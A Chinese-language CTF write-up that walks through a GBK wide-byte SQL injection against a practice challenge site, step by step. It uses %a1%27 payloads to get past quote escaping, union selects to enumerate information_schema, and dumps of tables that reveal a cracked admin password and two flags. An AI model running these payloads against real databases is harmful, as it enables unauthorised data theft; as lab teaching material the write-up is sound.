SQL注入–宽字节注入
实践:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1
页面显示:
显然执行的查询语句是:
select id,title from news where id = '1'
其中id就是传入的参数
首先尝试了单引号
?id=1%27
发现页面输出
显然引号被转义了,在前面加了一个 \ 符号
尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了
想到了 宽字节注入 尝试
?id=1%df%23
发现报错了,说明还是存在注入的嘛
接着尝试
?id=1%df%df%23
发现,查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字
检测到这里,发现应该是可以宽字节注入了,那么就开始吧
?id=1%a1%27
发现转义已经被宽字节合并了,那么后面我们就可以干正事了!
?id=-1%a1%27%20union%20select%201,2%20from%20news%23
可以看出构造了id=-1的假条件从而去执行后面的select语句,发现页面中的2已经可以成为注入点
先测试一下注入点好用不!
?id=-1%a1%27%20union%20select%201,version()%20from%20news%23
?id=-1%a1%27%20union%20select%201,database()%20from%20news%23
?id=-1%a1%27%20union%20select%201,user()%20from%20news%23
发现,别的没做啥过滤,那么就从系统自带数据库入手,看看能不能查出来别的数据库
?id=-1%a1%27%20union%20select%201,SCHEMA_NAME%20from%20information_schema.SCHEMATA%20limit%200,1%23
#得到第一个库名
#主要语句:SCHEMA_NAME from information_schema.SCHEMATA limit 0,1#
尝试limit 0,2 想得到第二个库名,发现好像只有一个 information_schema 数据库,奇怪的很。
不管这么多,刚才用database()返回了当前的数据库 sae-chinalover ,就从这个数据库入手,查所有表!!
?id=-1%a1%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
# 主要语句:group_concat(table_name) from information_schema.tables where table_schema=database()#
发现有五个表:ctf、ctf1、ctf2、ctf3、ctf4、news
着手第一个ctf表
?id=-1%a1%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x637466%23
#这边英文引号被转义了,所以本来的table_name='ctf'不能使用了
#这边使用了把'ctf'转成了16进制 -> 0x637466
#当然也可以使用CHAR()10进制来表示 CHAR(99,116,102)
?id=-1%a1%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=CHAR(99,116,102)%23
发现ctf表中,有user,pw 字段
同样的方法进行
最后得到
表:
ctf: user,pw
ctf1: 空表
ctf2: id,content
ctf3: id,email,token
ctf4: id,flag
news: id,title
最后啥都知道了,查询出来看看呗
#针对ctf表,
?id=-1%a1%27%20union%20select%201,group_concat(user,pw)%20from%20ctf%23
# ctf表
user:admin
pw:21dd715a3605b2a4053e80387116c190
#md5破解可得
pw:njupt
同理,别的表进行查询 ctf2 表
# ctf2表
id:1020
content:no msg in 1020
id:1021
content:no msg in 1021 too
id:1022
content:no msg in 1022
id:1023
content:no msg in 1023~~~
id:1024
content:the flag is:nctf{query_in_mysql}
id:1025
content:no more
ctf3 表
id:1
email:admin@nuptzj.cn
token:0
ctf4 表
id:1
flag:nctf{gbk_3sqli}
news 表
id:1
title:Hello World!OVO
id:2
title:gbk_sql_injection
id:3
title:the fourth table
至此,所有注入已经完成,同时发现了两个flag
nctf{query_in_mysql}
nctf{gbk_3sqli}